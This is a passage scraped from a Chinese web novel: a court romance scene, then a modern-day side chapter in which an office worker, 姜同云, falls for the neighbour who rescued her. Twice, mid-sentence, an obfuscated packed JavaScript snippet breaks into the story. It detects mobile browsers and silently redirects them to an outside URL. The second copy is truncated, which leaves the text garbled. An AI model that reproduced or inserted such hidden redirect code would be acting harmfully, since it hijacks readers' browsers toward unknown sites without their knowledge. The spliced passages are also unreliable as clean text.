裴绎乖巧地应了一声,拉了拉缰绳,想驱马朝谢含昭的方向靠近。 但不知道是刚刚跑了一阵有些疲惫,还是裴绎的骑术实在太差,总之,这匹枣红色的马儿有点不听使唤了。 见裴绎愈发紧张,根本没法控马,谢含昭叹了口气,主动策马上前,从他手中拿过缰绳:“你坐好,我牵着它走。” 缰绳一到谢含昭手中,有些躁动的马儿立刻安静了下来。裴绎见状,老老实实地坐在马背上,不再动作。 两人骑着马,一前一后朝外走去。 有谢含昭带路,两人没多久就走到了林子边缘。 看外面人影渐多,谢含昭松开缰绳:“我就送裴大人到这里吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184821|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 眼见她策马要走,裴绎连忙叫了一声:“谢大人!” 谢含昭回过头去。 晨光透过林叶,落在她的束发金簪上,晃得裴绎心跳一停。 看着突然沉默的裴侍郎,谢含昭笑了:“放心,刚才的事情,我不会告诉别人的。” ***** 十月,朝中收到宋州线报,忠武节度使兵败,晋国已彻底平复国内叛乱。但攻下许州之后,晋国的兵马并未撤离,而是直接驻扎在许州境内,与两国边境相距不远。 于是早朝的时候,谢怀雵就提出了重整军队,以防备晋国卷土重来之事。 待谢怀雵安排下一应事务后,出于对朝臣颜面的些许尊重,他最后补了一句:“诸卿可还有什么要补充的吗?” 一派寂静中,站在下方的谢含昭突然听见,身后有人在“小声嘀咕”。 “三年前,晋国派使臣来我朝,愿以皇后之位求娶楚国长公主,两国联姻,永世修好。若是长公主当年同意嫁去晋国,今日哪还用得着防备呢。” 一瞬间,谢含昭感觉朝上大部分人的目光都集中到了自己身上。 好啊,居然还有人敢提这茬。 三年前,姜同云刚提拔掖庭女史担任自己的文书不久,晋国相国公夏鼎就派使臣至金陵,替晋国小皇帝求娶越朝公主为后。 因为那时帝后唯一的公主才刚满两岁,晋国就把目标瞄准了与帝后关系亲近,且尚未成婚的楚国长公主谢含昭。 当时,朝内大多数臣子都不太乐意皇后选拔女子为官,刚好晋国提出联姻的请求,他们就顺水推舟,想借此机会,从谢含昭开始,把女子入朝的苗头彻底掐死。 在帝后态度坚决地拒绝联姻后,一批朝臣还不死心。有人还绕过帝后,暗中找上谢含昭,以家国大义为由,劝说她站出来,主动承担起“公主应尽的职责”。 幸亏谢含昭从来就不是糊涂人。 想起当年旧事,谢含昭心中冷笑。 她瞥了一眼发出“小声议论”的那位光禄少卿,正欲开口还击,站在另一列的裴绎却先站了出来:“既然联姻能保边境安宁,想来李大人一定非常愿意舍己为公,嫁去晋国,换来两国交好的。对吧,李大人。” 被裴绎阴阳怪气地这么一问,所有人的目光全都移向了李少卿。后者当即涨红了脸,怒气冲冲地说道:“裴侍郎在胡说八道些什么!我是男子,如何能与晋国和亲!” 裴绎冷冷地抬了抬嘴角:“男子也不妨事。相信晋国不会连一位适龄的姑娘都找不出来。” 李大人被裴绎的思路带跑,愣了一会儿才结结巴巴地反驳道:“我……我是朝廷命官……” “谢大人亦是朝廷命官。” 谢含昭看了看神情冷肃的裴绎,又看了看被怼得瞠目结舌的李大人,伸手按了按自己的嘴角:忍住,这是早朝,可不能当场笑出声。 谢含昭正在极力克制,忽然听见上方御座上传来了不加掩饰的笑声。 于是谢含昭……也偷偷地笑出了声。 谢怀雵边笑边说:“裴卿所言甚是!若是联姻真能止兵戈,李少卿,你又有何何‘嫁’不得的呢?” 听到谢怀雵这话,那位李少卿简直羞愤欲死。他慌里慌张地行了一礼,举着笏板挡住脸,缩回自己的位置里去了。 散朝后,谢含昭被姜同云叫住,又留了一会儿。等她从紫宸殿出来,正打算往中书省走一趟,却在宫门口遇见了望着天空发呆的裴绎。 因为早朝的事情,谢含昭主动朝他打了个招呼:“裴大人这是在等人吗?” 听见声音,裴绎迅速转过身来,却在对上谢含昭视线地时候,快速垂下眼帘:“谢大人。” 谢含昭不以为意:“方才多谢裴大人出言相帮。” “一点小事,不足挂齿。”顿了顿,裴绎才重新抬起头来,“听说……谢大人当年曾经立下誓言,说你……此生都不会成婚。” 谢含昭笑了:“确有此事。” 当年见帝后坚决不肯同意联姻之事,一部分朝臣退而求其次,又以谢含昭应为天下女子表率为由,试图逼她成婚嫁入。 铆足了劲准备参与朝政的谢含昭自然不肯。为了堵住那些朝臣们的嘴,她当着众人的面发下誓言,立志要倾尽全力辅佐帝后,为此可以永不成婚。 对谢含昭来说,这甚至可能都算不上是代价。 只是…… 看着面前这位不自觉流露出失望之色的裴侍郎,谢含昭的嘴角又抬了几分。 她故意道:“我愿穷尽此身,只为家国安康。裴大人至今未婚,一定也能理解我心中所愿,对吗?” 裴绎一时语结。 过去的他确实也觉得,比起成亲生子,还是为民请命、实现自身抱负更加紧要。 只是现在的裴绎…… 自诩辩才出众的裴大人,第一次觉得自己不知如何开口。 看着神色黯然的裴绎,谢含昭忍不住笑了:“裴寻之。” 这是谢含昭第一次这样叫他。 裴绎抬起头来。 初冬灿烂的阳光下,身着紫色官袍的女子眉眼微微弯起,不闪不避地看着他的双眼。 “这世上有许多东西,远比婚约长久。” 112. 番外三·现代IF 姜同云猛地惊醒过来。 她奋力地大口吸气,终于缓解掉梦中过于真实的窒息感。 看看窗外,天色已经亮起。门外的走廊里也传来了护士们走动说话的声音。 姜同云闭了闭眼睛,终于觉得稍稍安心一点。 不多时,负责查房的护士拧开房门,走了进来。 “醒啦?觉得怎么样,还有没有什么地方难受的吗?” 姜同云笑着摇了摇头:“没什么难受的。” 护士又询问了一些更详细的问题,确认姜同云状态良好后,她合上记录本,将水笔揣回口袋:“看样子是没事了。等会儿医生会再来检查一遍,没问题的话,你就可以出院了。” 听到这话,姜同云不由松了一口气,脸上的笑容也真挚起来:“好的,真是麻烦你们了。” 护士摇了摇头:“应该的。不过你也是,水性一般,就别学人家去救人了。这不,差点给自己淹了。” 姜同云的嘴巴张了张。 她很想替自己澄清一下,她的游泳技术其实很棒,这次翻车纯粹是因为连续加班导致过于疲惫,以至于入水以后莫名抽筋。 但看护士姐姐一副面对熊孩子的无奈表情,姜同云明智地闭上了辩解的嘴。 护士离开后不久,医生就进来了。 简单给姜同云检查一番后,好心的医生终于宣布,她可以办理出院,回家去了。 拎着一只装了几样药和私人物品的帆布包,姜同云打了个车回到出租屋内。 幸亏事情发生在周五晚上,自己还只在医院里住了一天。不然这个月的全勤奖怕是要泡汤了。 悲惨的社畜苦中作乐地笑了两声,从袋子里摸出手机,给父母报过平安后,开始查看起新收到的消息。 确认没有什么工作上的事情需要回复以后,姜同云才在床边盘腿坐了下来,对着手机备忘录里的一串号码发起呆来。 要不要打电话呢? 姜同云托着下巴,眉心拧了起来。 周五晚上,结束一周加班的姜同云拖着疲惫的步伐,离开了公司所在的大楼。 园区南门前是一条小河,过了桥再走二三百米就是地铁站入口。时间还早,姜同云就打算坐地铁回去,以免走公司那个冗长至极的打车报销流程。 谁知她才刚走上桥,就听见前面传来“咚”地一声。随即桥上的路人全都涌向了同一侧,还有人大声嚷着“报警”、“有人跳河了”之类的话。 姜同云一个激灵,困倦感顿时一扫而空。 朝前跑了几步后,姜同云就听到有人在说,跳河的是一个穿着附近中学校服的小姑娘。 眼见众人全都围在桥边,但没人敢下去施救,姜同云一咬牙,找了个距离水面较近的位置,把装着随身物品的帆布包往桥柱上一挂,蹬掉鞋子就跳了下去。 起初一切都还顺利。虽然天色很黑,但有路人指引和手电筒光照明,水性相当不错的姜同云很快就从水里捞起了那个跳水的女孩。 姜同云托着还在挣扎地女孩,拼命朝岸边游去。 在好心路人的帮助下,姜同云废了一番力气,终于把女孩顶上了岸。 就在姜同云准备握住旁人伸来的手的时候,她的小腿突然开始抽筋。 后面的事情,姜同云就记不太清楚了。 据医院护士说,是一个路过的好心人救起了姜同云,把她送到医院,并给她垫付了急诊和住院的费用。 出院之前,姜同云问护士要来了那个好心人登记在医院系统里的联系电话。 不管怎么样,至少要跟人家说声谢谢,再把人家垫付的钱还回去吧。 就是…… 直接打电话会不会太冒昧了?打过去该怎么开口?先说“你好”会不会像是诈骗电话?难道开口就说“我是你周五捞起来的那个倒霉蛋”? 越想越纠结的姜同云皱着眉头关掉备忘录,打开了X音。 刷完X音刷小X书,等姜同云把手里的软件挨个宠幸一遍后,一个下午都快过去了。 惊觉时间流逝的姜同云愤然,点了一个外卖。 打电话的事,吃饱再说! 然后……时间转瞬即逝,事情就又拖到了睡觉前。 躺在床上,盖着被子的姜同云努力哄着自己:“快打快打。没事的没事的,一下就打完了。” 做足了心理建设后,姜同云闭着眼,狠狠地按下了呼叫。 嘟嘟嘟的声音响起。 “呼。没事的没事。先说‘谢先生你好,我是周五那天被你送去医院的姜同云’,然后表达一下感谢,再提还钱的事情。” 姜同云小声念了一遍台词,又深吸了一口气。 不对。 怎么没声?是没按到吗? 姜同云睁开一只眼睛,看向手机。 !!! 什么时候接通的! 手比脑子快的姜同云光速掐断了电话,并把手机塞进了被子团里。 回过神来以后,姜同云愤恨地把自己的脑袋砸在了枕头上:我在干什么啊!!! 不行不行,赶紧打回去解释一下! 嘶,要是人家以为是骚扰电话,把我拉黑了怎么办! 姜同云垂死病中惊坐起,赶紧在被子里摸索失踪的手机。 骤然响起的铃声帮助姜同云找到了藏在被子深处手机。 看着屏幕上那串颇为眼熟的号码,姜同云咽了口唾沫,视死如归般地按下了接听键。 “你好。”一个颇好听的男声从手机里传了出来。 姜同云脑子一宕,演练了好几遍的台词脱口而出:“谢先生你好,我是周五那天被你送去医院的姜同云。” 电话那头的人笑了一声。 啊啊啊啊!!! 他刚刚肯定都听到了啊!!! 姜同云满脸通红,羞愤欲死。她强行克制住自己继续撞头的冲动,硬着头皮继续说道:“非、非常感谢你救了我。那、那个你垫付的钱我怎么给你?” 完了。 寒暄的话一句没说。她的感谢干巴得像根能敲死人的法棍。 姜同云绝望地闭上了眼:神啊,当时你直接让我淹死多好啊。 电话里的人又笑了一声:“其实没有多少钱,姜女士就当让我多做一次好事吧。” “不行不行。”姜同云连忙表示反对,“这个钱一定还给你的。” 对面停顿了一下,随后无奈地说道:“那好吧。我们加下X信吧,直接搜我的手机号就行。” 姜同云打开X信,输入了那串手机号码。 平平无奇的天空照头像。X信名字是“谢怀雵”。 本名吗? 姜同云一边想,一边按下了申请好友。 转过账后,双方客气地互相寒暄一番。隔着网络和文字,自在许多的姜同云终于能重新说一遍自己提前准备好的道谢台词了。 定好闹钟,关掉手机。姜同云把被子一拉,闭上眼准备睡觉。 ! 啊啊啊!别想了快住脑!睡觉睡觉睡觉睡觉睡觉睡觉…… ***** 第二天。 梦了一夜怪东西的姜同云拖着两个明显的黑眼圈,有气无力地爬到了公司。 “早呀小姜。” “早……” “哇,你昨晚干啥去了?熬夜追剧了?”饭搭子小林看着面色不佳的姜同云,好心地帮她拉开了座位上的椅子。 姜同云瘫倒在椅子上:“别提了。做了一整夜奇怪的梦。” “梦见啥了?” “……梦见我是皇后。” “嚯,那不是挺好的嘛,多享受啊。” 姜同云痛苦地捂住了脸:“享受个鬼啊。梦里我从早到晚都在批折子,好不容易把桌子上的都看完了,结果人家马上给我搬了一筐新的!” 小林满脸同情:“哇……你怕不是上周加班加多了,夜里做梦都是这种等级的噩梦。” “谁说不是呢。”姜同云歇了一会儿,才有力气从帆布袋里摸出早餐买的豆浆,扎上吸管,猛吸一口。 温热的甜豆浆下了肚,她才觉得自己饱受噩梦摧残的脑子重新活了过来。 距离上班还有几分钟,同事们都已经到得差不多了。 姜同云摸出手机,公司八卦小群里正在狂刷消息。 [糕糕高糕糕:听说咱们楼上的公司这周就会搬进来了。] [杨枝甘露:搬进来什么公司啊?] [糕糕高糕糕:好像说是做软件还是游戏之类的。] [刘莲千层:那完啦!老板肯定会让我们去拓展业务的=-=] [油炸响林卷:包的。想鼠。] 小林那条消息下面跟了一长串的复制。 姜同云咬了一口包子,跟着复制了一遍。 [紫苏桃子姜:包的。想鼠。] 果不其然,中午开会的时候,老板就提了楼上办公室要搬进来新公司的事情:“楼上楼下的,大家可以去跟新邻居刷刷脸、打好关系嘛。这样以后有什么业务,咱们也能近水楼台先得月啊。” 姜同云偷偷看了一眼手机。 八卦小群里已经开始吐槽老板了。 [杨枝甘露:“近↓水楼台→先↑得月~~~”] [刘莲千层:我算是相信糕糕说的,老板以前是发传单起家的了。这个地推手段也太娴熟了。] 正看消息呢,小林偷偷戳了戳她。 [油炸响林卷:小姜,我男朋友中午过来找我,我不能跟你一起吃饭了。] 后面还跟了个猫猫求饶表情包。 姜同云在桌子底下快速盲打。 [紫苏桃子姜:没事没事,我等会儿自己去吃就行。] 好不容易散了会,众人立刻作鸟兽散。 姜同云看了看时间,比平时还晚了快十分钟。 点外卖怕是来不及了。今天就她一个人,出去吃也提不起劲来。算了,还是去园区食堂对付一口吧。 想到这里,姜同云拿上工牌和饭卡,出门坐电梯。 走到岔路口的时候,打着伞低头玩手机的姜同云被人叫住了。 声音听着似乎有点耳熟,于是姜同云抬头一看。 是个帅哥。但是完全没印象。 而且这么热的天,他还穿全套西装……咱们园区里有保险公司的吗? 姜同云歪了歪脑袋:“有事吗?” 对面的人愣了一下,随即笑了:“我今天刚来,想问一下园区食堂在哪。” 看在对方颜值确实养眼的份上,姜同云痛快地说道:“正好我也要过去,你跟着我走吧。” “好。” 两个人一起走在路上,一句话都不说未免太过尴尬。姜同云想了想,主动找了个话题:“你在哪栋楼上班呀?” 园区里不会真的藏了一个保险公司吧。 “5号楼,12、13两层。” 咦?那不就是自己公司楼上吗? 姜同云下意识地往旁边跨了一步:可不能跟这个人扯上关系,不然一定会被老板抓去负责“拓展新业务”的。 对方发觉了她的异常举动,停下脚步:“怎么了吗?” 姜同云连忙打了个哈哈:“没事没事,就,好像有个虫子。” 事实证明,不管是多帅的男人,一旦变成了潜在的甲方,立刻都会变得面目可憎。 余下的那段路,姜同云一直刻意跟人家保持了距离。 好不容易走到食堂,姜同云连忙跟对方道了个别,飞也似地跑掉了。 也不知道是怎么回事,下午开始,姜同云就一直走霉运。 先是下午,八卦小群点奶茶的时候被老板撞了个正着,原本可以自由选择的饮品莫名变成了公司下午茶福利,姜同云被迫喝了一大杯制式珍珠奶茶。 接着,上周已经定好提交的方案又被挑剔的甲方退回修改,姜同云被迫加了个班,直到晚上七点才离开公司。 等她坐的地铁都快到站了,又突然发现自己迷迷瞪瞪地只捏回来一只手机,装了充电头和数据线的包包落在了公司里。 看着手机残余的电量,姜同云只能选择折返。 等她跑回公司拿上东西,已经快要九点了。 姜同云疲惫地按下了电梯:今天是怎么回事哦。 “叮”地一声,电梯门在姜同云面前打开,露出了里面那个提着电脑包的人。 啊,是中午那个卖保险、呸找食堂的西装帅哥。 见到姜同云,对方也压抑了一瞬。但他随即就伸手替姜同云挡住了电梯门,笑着打了个招呼:“是你啊。” “啊。”姜同云点了点头,赶紧走进电梯里。 电梯门合上,开始下行。 电梯里只有他们两个人,静得只能听见电梯运行时的嗡嗡声。 姜同云爱犯尴尬的毛病又犯了:“……你、加班啊。” “嗯?啊,对。加了一会儿班。第一天搬过来,事情有点多。” 听到这话,姜同云不免心生怜悯:搬公司的第一天就加班,加到九点还只是“一会儿”。足以见得,他们老板是个多么黑心的资本家! 想到这里,姜同云不无同情地安慰道:“打工都是这样的,习惯就好了。” 顿了顿,她又补充道:“但该争取的还是要争取的。加班费不能不要。” 对方眨了眨眼睛:“啊……我不用加班费。” 听到这话,姜同云顿时恨铁不成钢:“怎么能都不用呢!没有钱,至少也该换成调休假吧!” 见对方没有回答,姜同云痛心疾首:“你不会连调休都没有吧?你们老板也太黑心了吧!” 对方似乎想说些什么,但愤怒的姜同云根本没有留意,努力地给对方灌注应当争取合法权益的先进思想。 为笨蛋帅哥操碎了心的姜同云,直到带着人家走到地铁站入口,才突然从劳动法小课堂里回过神来。 姜同云脸颊爆红:“对不起!对不起!刚刚是不是耽误你的时间了!” 笨蛋帅哥笑了:“没有耽误,都是很有用的知识。” 啊啊啊!!! 羞愤欲死的姜同云又道了一遍歉,然后一头扎进地铁站里。她甚至都没坐自动扶梯,沿着台阶一溜烟跑了下去,只为了能让赶紧让自己消失。 ***** 次日上午。 八卦小群里。 [糕糕高糕糕:我回来了QAQ] [杨枝甘露:辛苦糕糕同志!] [莓莓果茶:辛苦糕糕同志!] [糕糕高糕糕:跟老板一起出门真是太丢人了!!!] [油炸响林卷:我懂!上次我跟老板一起见客户,老板没话可说,就硬夸客户的发型好看。他根本就没看出来客户戴的其实是假发!!!] [刘莲千层:噗嗤。] [糕糕高糕糕:今天也没好到哪里去。楼上的那个老板很年轻,老板夸他年轻有为就挺好了,完了还非要拿自己年轻时候的事情出来说,我拦都拦不住!] [糕糕高糕糕:老板也不看看自己年轻时候长啥样,人家光颜值就已经赢完了好吗。] [杨枝甘露:咦?这么说,楼上的老板是个帅哥?] 群里众人纷纷夸奖小杨会抓重点。 [糕糕高糕糕:是很帅哦!他们的薪资待遇蛮好,工作环境也不错的,跟我的专业也算对口,我都想跳槽了。] 看见小高的话,姜同云连忙扣字。 [紫苏桃子姜:别去!] [紫苏桃子姜:他们老板好黑心的!晚上加班到九点,不仅没有加班费,连调休都没有!!] [莓莓果茶:真的假的?小姜怎么知道的?] [紫苏桃子姜:保真!我昨天晚上九点回来拿东西,遇到了楼上刚下班的员工,人家跟我说的。] [油炸响林卷:哇,这就太过分了。] [糕糕高糕糕:真是看不出来。那个老板浓眉大眼的,居然是这种人。] 群里顿时义愤填膺,开始批判起了黑心资本家。 姜同云正在打字,手机铃声突然响了起来。 是一串陌生来电。 姜同云等了一会儿,见电话没有掐断,就接了起来:“喂?” 电话那头传来了一个中年女性的声音:“哎,您好,请问是姜同云吗?” 姜同云警惕性顿起,不咸不淡地应了一声:“嗯,我是。” “哎哎。”对方明显高兴起来,“我是佳佳妈妈,周五那天,就是你在XX园区那边救了我家佳佳的吧!” 听到这里,姜同云眉头一展:“啊,是的。也算不上救,只是路过帮忙罢了。” 毕竟她自己后面也是被别人救上来的。 “怎么不算呢!要不是你帮忙,我们佳佳还不知道……总之我们一定要好好感谢你的!方便的话,明天我和佳佳爸爸打算过来给你送个锦旗!” “不用不用!”姜同云立刻慌了。她从来没经历过这么大的阵仗,吓得连忙拒绝:“真的就是顺手帮忙,哪里用得着送锦旗啊。” 姜同云这边正在跟人家掰扯,突然听见自己背后传来了老板兴致勃勃的声音:“小姜,什么锦旗!” 吓了一跳的姜同云连忙转过身,捂着手机解释道:“就……周五那天给一个小姑娘帮了点忙,她妈妈非说要来感谢我。” 老板眼睛一亮:“周五那天下水救人的是你啊!” 他猛地一拍自己的大腿:“你早说嘛,见义勇为可是大好事!我等会儿给你发个大红包!” “红包”二字顺利堵住了姜同云的嘴:“啊……那、那谢谢老板?” “不用客气!”老板摆了摆手,“对了,人家父母想来送锦旗,你就别拒绝了。小姑娘家家的,脸皮不要这么薄,做了好事就是要宣传的嘛。” 说着,他用力拍了一把姜同云的椅背,把坐在椅子上的姜同云顶得一颠:“让人家来!小高,你来一下,咱们明天安排一下……” 不是! 姜同云伸手想把老板叫回来:我不要红包了行不行!你能不能别宣传啊! 话还没出口,就听电话那头,佳佳妈妈也兴奋地说道:“那我们就这样说定了!明天我们来给你们送锦旗!” 嘟—— 听着手机里传出的盲音,姜同云茫然地看向邻座的小林。 小林拍了拍她的肩膀,给了她一个爱莫能助的笑容:“做了好事就是要宣传的嘛,见义勇为的小姜同志。” 已经能想象到明天阵仗的姜同云绝望抱头:“这是宣传吗?这分明就是地狱!” ***** 周三一早。 看在老板一千块钱红包份上的姜同云硬着头皮起床上班,准备拿出自己毕生的勇气来面对接下去的狂风骤雨。 然而一到公司,她毕生的勇气就被悬挂在公司门口的红色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那我那天教他的劳动法算什么!!!算我小丑吗!!! 就在喧嚣的字幕挤满姜同云脑海的时候,那个实际一点也不笨蛋的谢总,朝姜同云笑了一下。 奔腾的字幕瞬间清屏,“黑心资本家”五个大字砰的一声炸了开来。 姜同云突然意识到,自己不仅当着人家的面骂人家黑心,好像似乎也许,还在背后给人家造了一个大谣。 啊啊啊!!! 神啊!当时你直接让我淹死多好啊!!! 失去灵魂的姜同云被兴高采烈的老板拉进了公司。 待客室里,在一群“总”的连声夸奖下,魂飞天外的姜同云开始思考。 自己该用什么样的姿势谢罪,才会显得比较真诚? 姜同云持续失魂到九点,终于等来了送锦旗的佳佳父母。 热情的夫妻俩握着姜同云的手一阵猛晃,最后在老板的提议下,他们还站在门口的横幅下合了一个影。 好不容易走完流程,姜同云背过身,悄悄揉了揉自己笑僵的脸颊。 就在她思考该怎么脱身的时候,身后又传来了佳佳爸爸激动的声音:“谢先生,真是太感谢您了!要不是您帮忙把佳佳送去医院,还垫付了医药费,佳佳的治疗就要被耽误了!” 诶? 姜同云揉脸的手一顿。 她小心地回过头去,正好看见佳佳爸爸握着楼上那个笨蛋、哦不,谢总的手,感激涕零地表达谢意。 诶诶?? 姓谢,送医院,垫付医药费。 真的会有这么巧合吗? 姜同云不敢置信地从口袋里摸出手机,打开X信。 “谢怀雵”三个字静静地躺在她的聊天栏里。 鬼使神差之下,姜同云打开对话框,拨打了语音通话。 嘟、嘟、嘟。 下一秒,X信语音电话的声音从那个谢总的身上传了出来。 !!! 姜同云连忙掐断了电话。 然而为时已晚。 谢怀雵已经取出了手机。 下一秒,他的目光直直投向了姜同云。 姜同云吓得直接扭了回去。 身后传来了一声清晰的轻笑。 啊啊啊!!! 这个笑声!跟那天电话里的简直一模一样!!! 自己怎么就没听出他的声音来呢!!! 这下好了,自己不仅当着救命恩人的面,蛐蛐他是黑心老板,还背着他,造谣他是黑心资本家。 算了,不道歉了,还是赶紧来个行星把我砸死得了。反正这个世界也已经没有什么值得留恋的了。 姜同云绝望面壁,恨不得就此融进墙里去。 身后,佳佳父母的声音还在继续: “多亏了你和姜小姐帮忙。我们佳佳现在没什么大碍了,医生说她马上就可以出院,继续回去上课了……” 姜同云的抠地动作顿时一停。 就听谢怀雵问道:“马上就让她继续上课?不考虑先让她休息一段时间吗?” “谢先生,你不懂。我们佳佳好不容易才考上了重点高中,现在正是关键的时候。高一的基础没打好,是会直接影响到高考的。”佳佳爸爸不赞同地说道。 “是啊。我们也心疼佳佳,但实在没办法。”佳佳妈妈也附和道,“佳佳这孩子,也不知道是怎么了。这两天,我们跟她说话,她也爱答不理的。我们做父母的也就算了,她回学校以后要还是这样,那可怎么办呢。” 听到这里,姜同云再也忍不住,转身跑了过去。 “佳佳爸爸、佳佳妈妈。”她直接打断了夫妻俩,“学习固然重要,但也不能因此忽略佳佳的健康问题啊!我觉得,现在应该先弄清楚佳佳最近是不是遇到了什么困难,要不然佳佳好好的怎么会突然去——” 考虑到这对夫妻的承受能力,姜同云强行把最后两个字咽了回去。 但佳佳爸爸的表情已经沉了下来。 “姜小姐,我们很感谢你救了佳佳。但佳佳的学习问题是我们家的事,难道我们做父母的还会害了自己女儿吗?” 这话问得颇重,一时之间,引得边上其他人都看了过来。 姜同云不擅长和人争吵,加上佳佳爸爸的表情相当严肃,她下意识地退了一步。 一旁的谢怀雵伸手扶了她一把,同时迈了一步,将她挡在自己身后。 “佳佳爸爸,我想你是误会姜女士的意思了。”谢怀雵面带微笑,语气柔和,却透着一股不容质疑的意思,“姜女士也完全是为了佳佳好。毕竟身体健康才是第一位的,没了健康的身体,再好的成绩也没什么用,不是吗?” 佳佳爸爸一和谢怀雵对上视线,就忍不住气势一弱。他移开眼睛,呐呐道:“是、是。” 谢怀雵从口袋里取出一张名片:“我也很关心佳佳的情况。如果有需要的话,可以打这个电话给我。我会帮你们介绍专业的医生。” 佳佳爸爸目光乱晃,没有搭腔。一旁的佳佳妈妈看气氛不对,连忙接过名片,陪着笑说道:“那真是太感谢您了。” 随后,夫妻俩胡乱道了个别,匆忙离开了。 姜同云心里放心不下,追了上去。谁知她才刚跑到楼梯间,就被赶上来的谢怀雵拉住了胳膊。 谢怀雵朝她摇了摇头:“放心,我会请医院那边帮忙留意佳佳的情况的。” 电梯已经下行,佳佳父母已经拦不回来了。姜同云愣愣地应了一声:“哦……哦。” 应完她才觉得两人的姿势有点别扭,不自在地动了动手。 谢怀雵松开了拉住她的手。 姜同云转身想跑,想想觉得不对,又强行按住了自己。 她不敢看谢怀雵,只能低头盯着自己的脚尖:“那个……前天晚上我不是故意要骂你的。” 面前的人又发出了那种轻浅的笑声:“我知道。” 姜同云只觉得自己的耳朵都要烧起来了。 但既然已经开始道歉,就不能半途而废。姜同云强撑着自己的羞耻心,猛猛鞠了一躬:“对不起!” 谢怀雵讶异地退了一步:“我没有要怪你的意思。” 姜同云保持姿势不变,视死如归般说道:“不是因为前天那个事情。还有……” “还有?” “我……我不该因为一点误会,就造谣你是不给加班费和调休的黑心资本家!” 面前的男人愣了好一会儿,突然笑出声来。 “我说呢,为什么昨晚我的员工给我发消息,说外面都在传我是黑心大魔王。” 听到这话,姜同云脸上的红晕腾地烧到了脖子:“真是对不起!我一定会帮您辟谣的!您想要我怎么澄清尽管提,只要我能做到!” 她甚至恨不得当场跪下来给对方磕两个,以此证明自己是真心悔过。 “嗯……这件事,我也可以原谅你。” “真的吗!”姜同云惊喜地抬起头来。 “真的。”谢怀雵正言笑晏晏地望着她,“就是不知道,能不能请你帮我一个忙?” 姜同云还以为谢怀雵是想让自己帮忙辟谣,连忙拍着胸口承诺道:“谢总放心!我答应过的,只要是我能做到的,我一定会做!” “那就请你,给我一个机会吧。” 谢怀雵笑着说道。 “一个追求你的机会。” 啊? 姜同云愣在原地。 神、神啊,难道说,我其实已经被淹死了……